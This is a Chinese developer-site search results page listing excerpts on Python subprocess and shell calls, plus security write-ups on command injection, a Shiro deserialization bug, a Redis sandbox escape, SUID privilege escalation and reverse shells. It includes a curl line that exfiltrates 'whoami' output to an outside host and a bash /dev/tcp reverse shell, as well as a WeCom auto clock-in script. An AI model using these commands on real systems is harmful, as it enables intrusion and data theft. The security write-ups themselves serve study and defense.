首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

记录Python 调用 subprocess.Popen 卡死解决办法

项目中需要在 Python 的代码中执行一些系统指令,例如调用项目中的某个可执行程序,所以就使用了 subprocess.Popen 方法。...shell=True:表示通过系统的 shell 来执行命令,可以使用命令的通配符、管道等功能。...executable="/bin/bash":指定要执行的 shell 程序,这里是 /bin/bash。 stderr=subprocess.STDOUT:将子进程的标准错误输出合并到标准输出中。...cwd=cwd:设置子进程的工作目录。 如果调用的shell命令本身在执行之后会突然出现很多输出,则这个时候可能会导致hang在那里,表现就是卡死了,程序也不往下走,也不会报错。。。...subprocess.Popen 提供了更多的灵活性,但需要你手动管理子进程的输入、输出和状态,因此在处理更复杂的子进程交互时可能需要更多的工作。

2K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    超详细讲解命令执行漏洞

    ( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等 当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中...中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令 当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞...) pcntl_exec() shell_exec() popen() proc_open() `(反单引号) ob_start() 特殊函数 phpinfo() #这个文件里面包含了PHP的编译选项,...flag} 无回显的命令执行 可以通过curl命令将命令的结果输出到访问的url中: curl www.rayi.vip/`whoami` 在服务器日志中可看到:xx.xx.xx.xx - - [12...指定这个可执行的文件路径; 这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败

    5.8K42

    正确的使用python调用shell的姿势

    python天生的优势,用它来开发一些devops的自动化作业是非常方便的,当然在linux上,一般我们用shell就能写一些简单的自动化脚本,但如果自动化作业复杂的话,使用shell脚本就很难搞定了,...一方面shell脚本量变大就会比较难以工程化,维护和阅读,另外一个重要的原因是shell不具备正经编程语言所具备的丰富的一些类库,比如说map类型必须得bash版本4.x以上才有,或者有序list什么的也没有...,这个时候我们就可以用python来搞定了,python能与shell直接交互,所以两者结合,相互取长补短,就非常适合开发各种自动化作业了。...输出123 我们可以看到popen方法可以获取命令执行后到输入结果,但这还是有缺陷的,我们知道在linux里面,有标准的0,1,2来代表标准输入,输出和错误,现在只有stdout没有其他的两个变量还是有限制的...shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。

    7.5K20

    Python os.popen() 方法

    /bin/bash echo 'hello python!' echo 'hello world!'...exit 1 os.system(command):该方法在调用完shell脚本后,返回一个16位的二进制数,低位为杀死所调用脚本的信号号码,高位为脚本的退出状态码,即脚本中“exit 1”的代码执行后...\n'] >>> 像调用”ls”这样的shell命令,应该使用popen的方法来获得内容,对比如下: >>> import os >>> os.system("ls") #直接看到运行结果 Desktop...总结 os.popen()在大多数场景都是挺好用方便的,但是也有坑!! 具体应用中,需要注意下。 建议: 1....在需要读取命令执行结果时,避免在命令无法退出或进入交互模式的场景应用os.popen; 2.os.popen()无法满足需求时,可以考虑subprocess.Popen();

    14.7K21

    python—subprocess、gl

    一、subprocess模块 1.subprocess以及常用的封装函数 运行python的时候,我们都是在创建并运行一个进程。...像Linux进程那样,一个进程可以fork一个子进程,并让这个子进程exec另外一个程序。在Python中,我们通过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序。...(); shell默认为False,在Linux下,shell=False时, Popen调用os.execvp()执行args指定的程序;shell=True时,如果args是字符串,Popen直接调用系统的...Shell来执行args指定的程序,如果args是一个序列,则args的第一项是定义程序命令字符串,其它项是调用系统Shell时的附加参数。...;child2.communicate()相当于child2.write()、child2.close()、child2.read()这个三个方法 二、glob模块 python下的shell通配符,用它可以查找符合特定规则的文件路径名

    1.5K20

    企业微信自动打卡Python脚本,价值一万元的自动打卡脚本

    ][企业微信]企业微信自动打卡Python脚本 价值一万元的自动打卡脚本 这个Python脚本还是有bug的,暂时不在维护和修复了,如果按照既定规划的执行不会出现错误。...dump file 指定输出文件,默认文件是在/sdcard/window_dump.xml adb pull /sdcard/window_dump.xml ###分析 分析安装包中的AndroidManifest.xml...activity activities adb shell dumpsys activity activities | grep 'cmp' ## 动态获取当前Activity 可以实时 查看当前正在运行的...的名称 , 如下(注:如果对应的Activity打不开则需要在清单文件的对应的Activity标签中添加 android:exported="true" 属性即可): adb shell am start...查看第三方应用 adb shell pm list packages -3 13、卸载应用( 表示应用的包名,-k 参数可选,表示卸载应用但保留数据和缓存目录。)

    4.1K10

    用一个 Python 脚本实现依次运行其他多个带 argparse 命令行参数的 .py 文件

    问题描述:在 Windows 环境中,您希望通过一个 Python 脚本来实现特定的自动化任务,该任务需要依次运行其他多个带 argparse 命令行参数的 .py 文件。...您希望找到一种简洁、高效的方法来解决这个问题。 问题分析与解决: 在 Linux 开发环境中,我们通常可以使用 Bash 脚本来依次运行其他多个带 argparse 命令行参数的 .py 文件。...当你使用 os.system 函数时,它会在系统的 shell 中执行你提供的命令,然后返回一个状态码,表示命令是否成功执行。这个状态码通常是一个整数,0 表示命令成功执行,非零值表示出现了错误。...我们还在 subprocess.run 函数中添加了 shell=True 参数,这是因为在 Windows 系统中,某些命令(比如 dir)需要在 Shell 中执行。...这个函数的工作原理就像是你在电脑的命令行(就是那个黑色的窗口,你可以在里面输入命令让电脑做事)中输入命令一样。你在 os.system 函数中输入的命令,就会被这个函数送到命令行中去执行。

    12000

    CVE-2022-0543复现 | redis的远程代码执行漏洞

    但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞 Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁...这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns” Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象...package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令 借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库...在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。...dash和bash都对SUID问题增加了补丁, 导致Real UID和Effective UID不相等而导致SUID修改失败, 无root权限自然就失败了 ), 附添加root权限的Lua代码 local

    1.6K30

    Python调用Shell命令 (python, shell 混合编程)

    ,调用了getoutput,不建议使用此方法但是,如上三个方法都不是Python推荐的方法,而且在Python3中其中两个已经消失。...4. subprocess《Python文档中目前全力推荐》subprocess使用起来同样简单:直接调用命令,返回值即是系统返回。shell=True表示命令最终在shell中运行。...Python文档中出于安全考虑,不建议使用shell=True。建议使用Python库来代替shell命令,或使用pipe的一些功能做一些转义。...shell里面:同样的 我用os.system 去运行,也确实产生了。...例如,在Python安装完成之后都会存在有交互式的编程环境,那么本次将通过程序调用交互式编程环境直接操作python命令行,在python命令行中直接输入程序。

    36610

    我是如何利用环境变量注入执行任意命令

    整体过程如下: 我之前在星球介绍过command-not-found,这个网站可以查询到一个命令在各种操作系统中的包名。...这也就解释了我们前面反常的结果——为什么bash -c可以注入命令但sh -c不可以。...虽然这个发现没有解决我最初提出的问题,但仍然是往前垮了一步,即我们在不控制bash的参数的情况下,可以通过环境变量注入任意命令。这可能在部分情况下会有一些作用。...在设置了这个环境变量后,进入交互式模式前,会执行这个变量里包含的命令: PROMPT_COMMAND='id' bash 但如果指定了-c,则这个变量不会被执行。...0x09 Bash版本的导致的不完美 为什么说是几乎?因为我实际在CentOS 7下做测试的时候,我发现并不能复现这个trick。

    74410

    Apache Shiro 1.2.4反序列化

    接下来就是反弹shell了 linux下反弹shell命令如下: bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 这里需要将反弹shell的命令进行java base64...关于反弹shell命令, 如果不编码会命令执行失败....本人在网上阅读大佬们写的相关文章后, 理解了一点, 简单说就是反弹shell的命令中包含一些特殊的符号, 在进行反序列化的时候会导致命令无法正常解析, 反正编码就完事了....测试时, 最好先使用ping命令用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断....关于利用模块的选择, 最开始在docker上复现时, 我使用的是CommonsCollections2, 都能成功, 但到了实际环境中, 反弹shell一直执行不成功, 我又是不停的找资料看, 问朋友,

    6.1K10

    Python模块之subprocess用法实例详解

    subprocess用来替换多个旧模块和函数: os.system os.spawn* os.popen* popen2.* commands.* 运行python的时候,我们都是在创建并运行一个进程,...在python中,我们通过标准库中的subprocess包来fork一个子进程,并且运行一个外部的程序。...二、旧有模块的使用 1.os.system() 执行操作系统的命令,将结果输出到屏幕,只返回命令执行状态(0:成功,非 0 : 失败) import os >>> a = os.system("df -...,都是对subprocess.Popen的封装,下面我们就来看看这个Popen方法。...原来这个是一个管道,这个需要画一个图来解释一下: 4、poll() 定时检查命令有没有执行完毕,执行完毕后返回执行结果的状态,没有执行完毕返回None >>> res = subprocess.Popen

    26.4K32

    【漏洞复现】Apache Shiro 反序列化漏洞

    java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。...burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在 ​ 第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令 配置maven...的命令" 这里的命令需要使用Java Runtime配置bash编码。...在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html 转换命令如下:(这里是反弹shell的端口为1234) bash -i >& /...上,使用nc监听1234端口,命令如下: nc -lvvp 1234 第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload 第七步:通过burp发送数据包,查看VPS中

    1.5K10

    谈一谈Linux与suid提权

    suid提权 说到这个话题,我们不得不先介绍一下两个东西: suid提权是什么 nmap为什么可以使用suid提权 通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。...但经过测试我们发现,这个方法启动的shell似乎仍然是当前用户的,并没有我们想象中的提权。...同样,CentOS 6和Debian 6都是较老的发行版,但CentOS 6的表现却和新版Ubuntu类似,经过网上的询问和翻文档,得到了bash中的这么一段说明: If the shell is started...因为通常来说,很多命令注入漏洞都是发生在system()和popen()函数中的,而这些函数依赖于系统的/bin/sh。...因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权。

    1.9K20

    Python模块之subprocess

    一 简介 在使用Python 开发MySQL自动化相关的运维工具的时候,遇到一些有意思的问题,本文介绍Python的 subprocess 模块以及如何和MySQL交互具体操作,如启动 ,关闭 ,备份数据库...二 基础知识 Python2.4引入subprocess模块来管理子进程,可以像Linux 系统中执行shell命令那样fork一个子进程执行外部的命令,并且可以连接子进程的output/input...,我们可以看出前面两个函数不容易控制输出内容,在使用subprocess包中的函数创建子进程执行命令的时候,需要考虑 1) 在创建子进程之后,父进程是否暂停,并等待子进程运行。...如果 args是一个字符串,则它声明了通过shell执行的命令。这意味着,字符串必须要使用正确的格式。 如果 args是一个序列,则第一个元素就是命令字符串,而其它的元素都作为参数使用。...注意:如果希望通过进程的stdin向其发送数据,在创建Popen对象的时候,参数stdin必须被设置为PIPE。

    2K10

    攻防|反弹shell方式汇总

    (['/bin/bash'])" 但是当前情况还是不能补全代码,得用stty来进行优化,来转换成完美shell 在执行完python命令之后,按下Ctrl+z Linux 中Ctrl + c/d/z 看着都差不多...(只要不是在第一行),那么只能看成是注释。 运行之前需要设置sh的运行权限chmod 777 * 当source命令执行有问题时,bash继续执行下面命令。 系统默认的shell是bash。 #!...行之后添加一行set -e,这样出错之后脚本就会停止了 GNU/Linux操作系统中的/bin/sh本是bash (Bourne-Again Shell) 的符号链接,但鉴于bash过于复杂,有人把bash.../bin/sh的脚本不应使用任何POSIX没有规定的特性 (如let等命令, 但#!/bin/bash可以)。...因为原先在bash shell下可以运行的shell script (shell 脚本),在/bin/sh下还是会出现一些意想不到的问题,不是100%的兼用。

    1K10
    领券